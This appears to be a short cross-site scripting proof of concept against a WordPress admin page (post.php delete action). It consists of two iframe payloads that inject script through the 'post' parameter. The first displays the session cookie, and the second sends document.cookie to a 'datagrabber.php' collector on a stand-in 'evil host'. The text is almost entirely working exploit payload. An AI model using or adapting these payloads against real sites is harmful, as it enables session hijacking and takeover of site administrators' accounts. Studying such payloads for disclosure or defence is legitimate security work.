Cookie in an Alert Box: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Clol= %27'></iframe> Cookie send to an Evil Host: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Eimage=document.createElement(%27img%27);im age.src=%27http://www.example.com/datagrabber.php?cookie=%27%2bdocument.cookie;%3C/script%3E%3Clol=%27'></iframe>